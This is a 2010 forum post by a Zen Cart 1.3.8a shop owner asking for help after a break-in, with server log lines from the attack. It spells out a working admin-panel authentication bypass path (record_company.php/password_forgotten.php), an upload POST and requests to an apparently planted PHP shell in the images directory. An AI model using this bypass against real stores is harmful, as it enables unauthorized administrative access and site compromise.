New Zenner
- Join Date:
- Jan 2004
- Location:
- 232nm NW of paradise
- Posts:
- 27
- Plugin Contributions:
- 1
1.3.8a Site Hacked
Here is the beginning of my server log from a successful hack attempt on a long-running 1.3.8a install without the Admin directory renamed...
I don't know if this is a ZenCart vulnerability per se; I do know that I had not renamed the Admin directory!
However, I did rename the Admin directory last night, changed my password, checked all email addresses, installed .htaccess into places where it wasn't and tightened up the file permissions but there seems to be a backdoor into the Admin Panel (and I think I deleted all of the files this person put on the server.)
The person installed a sub-directory into my images directory, along with several php files... (I've deleted them - actually I've moved them down to my local machine)
But when I do what s/he did, I'm still able to access the Admin Panel without a password!
I type in https://www.mints-usa.com/admin/record_company.php/password_forgotten.php and I'm dropped right into the Admin Panel without a password.
72.27.212.104 - - [04/May/2010:10:31:57 -0700] "GET https://www.mints-usa.com/admin/ HTTP/1.1" 302 5 "-" "Mozilla Firefox"
72.27.212.104 - - [04/May/2010:10:31:59 -0700] "POST https://www.mints-usa.com/admin/record_company.php/password_forgotten.php?action=insert HTTP/1.1" 302 5 "-" "Mozilla Firefox"
72.27.212.104 - - [04/May/2010:10:32:01 -0700] "GET https://www.mints-usa.com/images/a3f39.php HTTP/1.1" 200 69 "-" "Mozilla Firefox"
72.27.212.104 - - [04/May/2010:10:32:09 -0700] "GET https://www.mints-usa.com/images/a3f39.php HTTP/1.1" 200 5 "-" "Mozilla Firefox"
72.27.212.104 - - [04/May/2010:10:32:13 -0700] "GET https://www.mints-usa.com/images/a3f39.php HTTP/1.1" 200 8708 "-" "Mozilla Firefox"
72.27.212.104 - - [04/May/2010:10:32:14 -0700] "GET https://www.mints-usa.com/images/a3f39.php HTTP/1.1" 200 160 "-" "Mozilla Firefox"
109.97.57.154 - - [04/May/2010:10:32:23 -0700] "GET https://www.mints-usa.com/images/x/poste.js HTTP/1.1" 404 1695 "http://www.mints-usa.com/images/x/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)"
109.97.57.154 - - [04/May/2010:10:32:23 -0700] "GET https://www.mints-usa.com/images/x/resources/javascripts/glider.js HTTP/1.1" 404 1695 "http://www.mints-usa.com/images/x/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)"
109.97.57.154 - - [04/May/2010:10:32:23 -0700] "GET https://www.mints-usa.com/images/x/resources/javascripts/prototype.js HTTP/1.1" 404 1695 "http://www.mints-usa.com/images/x/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)"
109.97.57.154 - - [04/May/2010:10:32:23 -0700] "GET https://www.mints-usa.com/images/x/resources/javascripts/effects.js HTTP/1.1" 404 1695 "http://www.mints-usa.com/images/x/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)"
it goes on...
I'm updating to 1.3.9b now.
(Thanks for listening!)
Val
